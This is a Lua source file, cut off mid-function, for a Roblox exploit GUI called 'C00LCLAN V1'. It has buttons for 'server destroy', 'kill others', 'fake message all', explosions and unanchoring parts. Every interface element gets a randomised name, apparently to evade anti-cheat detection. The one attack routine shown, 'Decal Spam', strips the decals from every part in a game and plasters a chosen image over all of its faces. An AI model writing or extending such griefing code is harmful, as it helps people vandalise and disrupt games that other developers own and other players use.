G2L["26"]["BackgroundColor3"] = Color3.fromRGB(85, 85, 85); G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["26"]["BackgroundTransparency"] = 1; G2L["26"]["Size"] = UDim2.new(0, 37, 0, 34); G2L["26"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["26"]["Text"] = [[<]]; G2L["26"]["Position"] = UDim2.new(-0.01282, 0, 0.90236, 0); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["27"] = Instance.new("LocalScript", G2L["26"]); -- StarterGui.ssst.Frame2.TextButton G2L["28"] = Instance.new("TextButton", G2L["22"]); G2L["28"]["BorderSizePixel"] = 0; G2L["28"]["TextSize"] = 14; G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["28"]["BackgroundTransparency"] = 0.2; G2L["28"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["28"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["Text"] = [[server destroy ( not fe )]]; G2L["28"]["Position"] = UDim2.new(0.35402, 0, 0.07921, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["29"] = Instance.new("Script", G2L["28"]); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["2a"] = Instance.new("LocalScript", G2L["28"]); -- StarterGui.ssst.Frame2.TextButton.RemoteEvent G2L["2b"] = Instance.new("RemoteEvent", G2L["28"]); -- StarterGui.ssst.Frame2.TextButton G2L["2c"] = Instance.new("TextButton", G2L["22"]); G2L["2c"]["BorderSizePixel"] = 0; G2L["2c"]["TextSize"] = 14; G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2c"]["BackgroundTransparency"] = 0.2; G2L["2c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["Text"] = [[disco]]; G2L["2c"]["Position"] = UDim2.new(0.6776, 0, 0.08128, 0); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["2d"] = Instance.new("LocalScript", G2L["2c"]); -- StarterGui.ssst.Frame2.ImageLabel G2L["2e"] = Instance.new("ImageLabel", G2L["22"]); G2L["2e"]["BorderSizePixel"] = 0; G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["2e"]["Image"] = [[rbxassetid://98874831022758]]; G2L["2e"]["Size"] = UDim2.new(0, 187, 0, 115); G2L["2e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e"]["BackgroundTransparency"] = 1; G2L["2e"]["Position"] = UDim2.new(0.57706, 0, -0.45759, 0); -- StarterGui.ssst.Frame2.ImageLabel G2L["2f"] = Instance.new("ImageLabel", G2L["22"]); G2L["2f"]["BorderSizePixel"] = 0; G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["2f"]["Image"] = [[rbxassetid://124868710717730]]; G2L["2f"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["BackgroundTransparency"] = 1; G2L["2f"]["Position"] = UDim2.new(0.06393, 0, -0.48753, 0); -- StarterGui.ssst.Frame2.TextButton G2L["30"] = Instance.new("TextButton", G2L["22"]); G2L["30"]["BorderSizePixel"] = 0; G2L["30"]["TextSize"] = 14; G2L["30"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["30"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["30"]["BackgroundTransparency"] = 0.2; G2L["30"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["30"]["Text"] = [[teams]]; G2L["30"]["Position"] = UDim2.new(0.04303, 0, 0.24729, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["31"] = Instance.new("Script", G2L["30"]); -- StarterGui.ssst.Frame2.TextButton G2L["32"] = Instance.new("TextButton", G2L["22"]); G2L["32"]["BorderSizePixel"] = 0; G2L["32"]["TextSize"] = 14; G2L["32"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["32"]["BackgroundTransparency"] = 0.2; G2L["32"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["32"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["Text"] = [[change avatar]]; G2L["32"]["Position"] = UDim2.new(0.35526, 0, 0.25123, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["33"] = Instance.new("Script", G2L["32"]); -- StarterGui.ssst.Frame2.TextButton G2L["34"] = Instance.new("TextButton", G2L["22"]); G2L["34"]["BorderSizePixel"] = 0; G2L["34"]["TextSize"] = 14; G2L["34"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["34"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["34"]["BackgroundTransparency"] = 0.2; G2L["34"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["34"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["34"]["Text"] = [[explode]]; G2L["34"]["Position"] = UDim2.new(0.67445, 0, 0.25713, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["35"] = Instance.new("Script", G2L["34"]); -- StarterGui.ssst.Frame2.TextButton G2L["36"] = Instance.new("TextButton", G2L["22"]); G2L["36"]["BorderSizePixel"] = 0; G2L["36"]["TextSize"] = 14; G2L["36"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["36"]["BackgroundTransparency"] = 0.2; G2L["36"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["36"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["36"]["Text"] = [[raining fire]]; G2L["36"]["Position"] = UDim2.new(0.04853, 0, 0.43285, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["37"] = Instance.new("Script", G2L["36"]); -- StarterGui.ssst.Frame2.TextButton G2L["38"] = Instance.new("TextButton", G2L["22"]); G2L["38"]["BorderSizePixel"] = 0; G2L["38"]["TextSize"] = 14; G2L["38"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["38"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["38"]["BackgroundTransparency"] = 0.2; G2L["38"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["38"]["Text"] = [[rainbow all]]; G2L["38"]["Position"] = UDim2.new(0.35589, 0, 0.43204, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["39"] = Instance.new("Script", G2L["38"]); -- StarterGui.ssst.Frame2.TextButton G2L["3a"] = Instance.new("TextButton", G2L["22"]); G2L["3a"]["BorderSizePixel"] = 0; G2L["3a"]["TextSize"] = 14; G2L["3a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3a"]["BackgroundTransparency"] = 0.2; G2L["3a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3a"]["Text"] = [[message]]; G2L["3a"]["Position"] = UDim2.new(0.67496, 0, 0.43146, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["3b"] = Instance.new("Script", G2L["3a"]); -- StarterGui.ssst.Frame2.TextButton G2L["3c"] = Instance.new("TextButton", G2L["22"]); G2L["3c"]["BorderSizePixel"] = 0; G2L["3c"]["TextSize"] = 14; G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3c"]["BackgroundTransparency"] = 0.2; G2L["3c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["3c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3c"]["Text"] = [[guns]]; G2L["3c"]["Position"] = UDim2.new(0.05271, 0, 0.60446, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["3d"] = Instance.new("Script", G2L["3c"]); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["3e"] = Instance.new("LocalScript", G2L["3c"]); -- StarterGui.ssst.Frame2.TextButton.RemoteEvent G2L["3f"] = Instance.new("RemoteEvent", G2L["3c"]); -- StarterGui.ssst.Frame2.TextButton G2L["40"] = Instance.new("TextButton", G2L["22"]); G2L["40"]["BorderSizePixel"] = 0; G2L["40"]["TextSize"] = 14; G2L["40"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["40"]["BackgroundTransparency"] = 0.2; G2L["40"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["40"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["40"]["Text"] = [[ball rain]]; G2L["40"]["Position"] = UDim2.new(0.35617, 0, 0.60594, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["41"] = Instance.new("Script", G2L["40"]); -- StarterGui.ssst.Frame2.TextButton G2L["42"] = Instance.new("TextButton", G2L["22"]); G2L["42"]["BorderSizePixel"] = 0; G2L["42"]["TextSize"] = 14; G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["42"]["BackgroundTransparency"] = 0.2; G2L["42"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["42"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["Text"] = [[unanchor]]; G2L["42"]["Position"] = UDim2.new(0.67097, 0, 0.59947, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["43"] = Instance.new("Script", G2L["42"]); -- StarterGui.ssst.Frame2.TextButton G2L["44"] = Instance.new("TextButton", G2L["22"]); G2L["44"]["BorderSizePixel"] = 0; G2L["44"]["TextSize"] = 14; G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["44"]["BackgroundTransparency"] = 0.2; G2L["44"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["Text"] = [[42 teleporter]]; G2L["44"]["Position"] = UDim2.new(0.05385, 0, 0.80265, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["45"] = Instance.new("Script", G2L["44"]); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["46"] = Instance.new("LocalScript", G2L["44"]); -- StarterGui.ssst.Frame2.TextButton.RemoteEvent G2L["47"] = Instance.new("RemoteEvent", G2L["44"]); -- StarterGui.ssst.Frame2.TextButton G2L["48"] = Instance.new("TextButton", G2L["22"]); G2L["48"]["BorderSizePixel"] = 0; G2L["48"]["TextSize"] = 14; G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["48"]["BackgroundTransparency"] = 0.2; G2L["48"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["48"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["48"]["Text"] = [[fake message all]]; G2L["48"]["Position"] = UDim2.new(0.35698, 0, 0.79656, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["49"] = Instance.new("Script", G2L["48"]); -- StarterGui.ssst.Frame2.TextButton G2L["4a"] = Instance.new("TextButton", G2L["22"]); G2L["4a"]["BorderSizePixel"] = 0; G2L["4a"]["TextSize"] = 14; G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4a"]["BackgroundTransparency"] = 0.2; G2L["4a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["4a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4a"]["Text"] = [[kill others]]; G2L["4a"]["Position"] = UDim2.new(0.67157, 0, 0.78135, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["4b"] = Instance.new("Script", G2L["4a"]); -- StarterGui.ssst.Frame.LocalScript local function C_3() local script = G2L["3"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_3); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_8() local script = G2L["8"]; script.Parent.MouseButton1Click:Connect(function() --Services local Players = game:GetService("Players") local Player = Players.LocalPlayer local PlayerGui = Player:WaitForChild("PlayerGui") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local PhysicsService = game:GetService("PhysicsService") local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") local HRP = Character:WaitForChild("HumanoidRootPart") local Mouse = Player:GetMouse() local CollectionService = game:GetService("CollectionService") local RunService = game:GetService("RunService") local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local TweenService = game:GetService("TweenService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local MarketplaceService = game:GetService("MarketplaceService") local StarterGui = game:GetService("StarterGui") local Debris = game:GetService("Debris") local Lighting = game:GetService("Lighting") local SoundService = game:GetService("SoundService") local player = Player local PlaceId = game.PlaceId local JobId = game.JobId --settings local infjump = false local invisRunning = false local noclipOn = false local noclipConn local hoverHeight local bindFrame, bindConn, waitingBindFunction local customBinds = {} local infJumpEnabled = false local infJumpConnection = nil local espOn = false local spinOn = false local spinBAV, lockBP local savedCFrame local invisRunning = false local InvisibleCharacter = nil local OriginalCharacter = nil local voidConn = nil local flyingEnabled = false local invisRunning = false local flyBG, flyBV, flyConn local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y) local hit, pos = workspace:FindPartOnRay(ray, Character) --GUI settings local GUI_WIDTH = 400 local GUI_HEIGHT = 320 local TITLE_HEIGHT = 30 local NAV_HEIGHT = 30 local FOOTER_HEIGHT = 30 local GRID_PADDING = 4 local GRID_COLUMNS = 4 math.randomseed(os.time()) local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" local string_sub = string.sub local math_random = math.random local table_concat = table.concat local character_set_amount = #character_set local number_one = 1 local default_length = 10 local function generate_string(length) local random_string = {} for int = number_one, length or default_length do local random_number = math_random(number_one, character_set_amount) local character = string_sub(character_set, random_number, random_number) random_string[#random_string + number_one] = character end return table_concat(random_string) end -- Function manager with descriptions local FunctionManager = { CategorizedFunctions = { All = {} }, Categories = { "All" }, CurrentCategoryIndex= 1, Descriptions = {}, ISFE = {}, OnFunctionAdded = Instance.new("BindableEvent"), } function FunctionManager:register(name, callback, category, description, FE) category = category or "General" if not self.CategorizedFunctions[category] then self.CategorizedFunctions[category] = {} table.insert(self.Categories, category) end self.CategorizedFunctions[category][name] = callback self.CategorizedFunctions.All[name] = callback self.Descriptions[name] = description or "" self.ISFE[name] = FE or "yes" if description == "NOT FE" then self.ISFE[name] = "no" end self.OnFunctionAdded:Fire(category, name, callback) self.OnFunctionAdded:Fire("All", name, callback) end function FunctionManager:getCurrentCategory() return self.Categories[self.CurrentCategoryIndex] end function FunctionManager:cycleCategory() self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1 return self:getCurrentCategory() end local screenGui = Instance.new("ScreenGui") screenGui.Name = generate_string(math_random(1, 10)) local die = screenGui.Name screenGui.ResetOnSpawn= false screenGui.Parent = PlayerGui local notificationContainer = Instance.new("Frame") notificationContainer.Name = "NotificationContainer" notificationContainer.Size = UDim2.new(1, 0, 1, 0) notificationContainer.Position = UDim2.new(0, 0, 0, 0) notificationContainer.BackgroundTransparency = 1 notificationContainer.ZIndex = 100 notificationContainer.Parent = screenGui local function Notify(text, title, duration) duration = duration or 4 local frame = Instance.new("Frame") frame.AnchorPoint = Vector2.new(1, 1) frame.Size = UDim2.new(0, 300, 0, 70) frame.Position = UDim2.new(1, 320, 1, -10) frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0) frame.BackgroundTransparency = 0 frame.BorderSizePixel = 0 frame.ZIndex = 200 frame.Parent = notificationContainer local titleLabel = Instance.new("TextLabel") titleLabel.BackgroundTransparency = 1 titleLabel.Size = UDim2.new(1, -10, 0, 24) titleLabel.Position = UDim2.new(0, 5, 0, 4) titleLabel.Font = Enum.Font.SourceSansBold titleLabel.Text = title or "Notice" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 18 titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.ZIndex = 201 titleLabel.Parent = frame local bodyLabel = Instance.new("TextLabel") bodyLabel.BackgroundTransparency = 1 bodyLabel.Size = UDim2.new(1, -10, 1, -30) bodyLabel.Position = UDim2.new(0, 5, 0, 28) bodyLabel.Font = Enum.Font.SourceSans bodyLabel.Text = text or "" bodyLabel.TextColor3 = Color3.new(1, 1, 1) bodyLabel.TextSize = 14 bodyLabel.TextWrapped = true bodyLabel.TextXAlignment = Enum.TextXAlignment.Left bodyLabel.ZIndex = 201 bodyLabel.Parent = frame task.defer(function() local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(1, -10, 1, -10) }) slideIn:Play() end) task.delay(duration, function() local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), { BackgroundTransparency = 1, Position = UDim2.new(1, 320, 1, -10) }) local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1}) local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1}) fadeOut:Play() titleFade:Play() bodyFade:Play() fadeOut.Completed:Wait() frame:Destroy() end) end local notificationLayout = Instance.new("UIListLayout") notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder notificationLayout.Padding = UDim.new(0, 6) notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom notificationLayout.Parent = notificationContainer Notify("Welcome to C00lClan!", "Have fun!", 3) -- Main frame local mainFrame = Instance.new("Frame") mainFrame.Name = generate_string(math_random(1, 10)) mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT) mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2) mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5) mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- Tooltip local tooltip = Instance.new("TextLabel", screenGui) tooltip.Name = generate_string(math_random(1, 10)) tooltip.Size = UDim2.new(0, 200, 0, 40) tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30) tooltip.BorderSizePixel = 0 tooltip.Visible = false tooltip.ZIndex = 100 tooltip.ClipsDescendants = false tooltip.TextColor3 = Color3.fromRGB(255, 255, 255) tooltip.TextWrapped = true -- Title bar local titleBar = Instance.new("Frame", mainFrame) titleBar.Name = generate_string(math_random(1, 10)) titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT) titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0) titleBar.BorderSizePixel = 0 local titleLabel = Instance.new("TextLabel", titleBar) titleLabel.Size = UDim2.new(1,-60,1,0) titleLabel.Position = UDim2.new(0,4,0,0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "C00LCLAN V1" titleLabel.Font = Enum.Font.SourceSansBold titleLabel.TextSize = 18 titleLabel.TextColor3 = Color3.new(1,1,1) titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Name = generate_string(math_random(1, 10)) local minBtn = Instance.new("TextButton", titleBar) minBtn.Name = generate_string(math_random(1, 10)) minBtn.Size = UDim2.new(0,30,1,0) minBtn.Position = UDim2.new(1,-30,0,0) minBtn.Text = "_" minBtn.Font = Enum.Font.SourceSansBold minBtn.TextSize = 18 minBtn.TextColor3 = Color3.new(1,1,1) minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10) minBtn.BorderSizePixel = 0 -- Drag logic local dragging, dragInput, dragStart, startPos = false, nil local function updateDrag(input) local delta = input.Position - dragStart mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y) end titleBar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dragging, dragStart, startPos = true, i.Position, mainFrame.Position i.Changed:Connect(function() if i.UserInputState==Enum.UserInputState.End then dragging=false end end) end end) titleBar.InputChanged:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end end) UserInputService.InputChanged:Connect(function(i) if i==dragInput and dragging then updateDrag(i) end end) -- Category nav local catNav = Instance.new("Frame", mainFrame) catNav.Name = generate_string(math_random(1, 10)) catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT) catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT) catNav.BackgroundTransparency = 1 local leftCat = Instance.new("TextButton", catNav) leftCat.Size = UDim2.new(0,50,1,0) leftCat.Text = "<" leftCat.Font = Enum.Font.SourceSansBold leftCat.TextSize = 24 leftCat.TextColor3 = Color3.new(1,1,1) leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0) leftCat.BorderSizePixel = 0 leftCat.Name = generate_string(math_random(1, 10)) local catLabel = Instance.new("TextLabel", catNav) catLabel.Size = UDim2.new(1,-100,1,0) catLabel.Position = UDim2.new(0,50,0,0) catLabel.BackgroundTransparency = 1 catLabel.Text = "All" catLabel.Font = Enum.Font.SourceSansBold catLabel.TextSize = 18 catLabel.TextColor3 = Color3.new(1,1,1) catNav.Name = generate_string(math_random(1, 10)) local rightCat = leftCat:Clone() rightCat.Parent = catNav rightCat.Position = UDim2.new(1,-50,0,0) rightCat.Text = ">" rightCat.Name = generate_string(math_random(1, 10)) -- Grid local gridFrame = Instance.new("ScrollingFrame", mainFrame) gridFrame.Name = generate_string(math_random(1, 10)) gridFrame.ClipsDescendants= true gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING) gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING) gridFrame.BackgroundTransparency = 1 local gridLayout = Instance.new("UIGridLayout", gridFrame) gridLayout.Name = generate_string(math_random(1, 10)) gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40) gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING) gridLayout.SortOrder = Enum.SortOrder.LayoutOrder -- Footer local footer = Instance.new("Frame", mainFrame) footer.Name = generate_string(math_random(1, 10)) footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT) footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT) footer.BackgroundTransparency = 1 local closeBtn = Instance.new("TextButton", footer) closeBtn.Size = UDim2.new(1,0,1,0) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 18 closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0) closeBtn.BorderSizePixel = 0 closeBtn.Name = generate_string(math_random(1, 10)) -- Minimize toggle local minimized = false minBtn.MouseButton1Click:Connect(function() minimized = not minimized if minimized == true then mainFrame.BackgroundTransparency = 1 else mainFrame.BackgroundTransparency = 0 end gridFrame.Visible = not minimized catNav.Visible = not minimized footer.Visible = not minimized minBtn.Text = minimized and "◻" or "_" end) local function NotifyERROR(text) Notify(text, "ERROR", 3) end -- Build the grid and tooltips local function updateGrid() for _, c in ipairs(gridFrame:GetChildren()) do if c:IsA("TextButton") then c:Destroy() end end local cat = FunctionManager:getCurrentCategory() catLabel.Text = cat for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do local btn = Instance.new("TextButton") local isFE = FunctionManager.ISFE[name] btn.Size = UDim2.new(1,0,0,40) btn.BackgroundColor3 = Color3.fromRGB(70,10,10) btn.BorderSizePixel = 0 btn.Font = Enum.Font.SourceSansBold btn.TextSize = 16 btn.TextColor3 = Color3.new(1,1,1) btn.Text = name btn.TextWrapped = true btn.Parent = gridFrame btn.Name = generate_string(math_random(1, 10)) if isFE == "no" then btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87) end -- tooltip local desc = FunctionManager.Descriptions[name] btn.MouseMoved:Connect(function() if desc ~= "" and desc ~= nil then tooltip.Text = desc tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4) tooltip.Visible = true end end) btn.MouseLeave:Connect(function() tooltip.Visible = false end) btn.MouseButton1Click:Connect(function() pcall(cb) end) end end local logo = Instance.new("ImageLabel") logo.Name = generate_string(math_random(1, 10)) logo.BackgroundTransparency = 1 logo.Size = UDim2.new(1, 0, 0, 100) logo.Position = UDim2.new(0, -50, 0, -100) logo.Image = "rbxassetid://87486058304609" logo.ScaleType = Enum.ScaleType.Fit logo.Parent = mainFrame -- nav buttons leftCat.MouseButton1Click:Connect(function() FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1 updateGrid() end) rightCat.MouseButton1Click:Connect(function() FunctionManager:cycleCategory() updateGrid() end) closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) FunctionManager.OnFunctionAdded.Event:Connect(updateGrid) -- Initialize updateGrid() FunctionManager:register("Decal Spam", function() local decalID = 8408806737 local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id="..decalID Two.Texture = "http://www.roblox.com/asset/?id="..decalID Three.Texture = "http://www.roblox.com/asset/?id="..decalID Four.Texture = "http://www.roblox.com/asset/?id="..decalID Five.Texture = "http://www.roblox.com/asset/?id="..decalID Six.Texture = "http://www.roblox.com/asset/?id="..decalID One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" 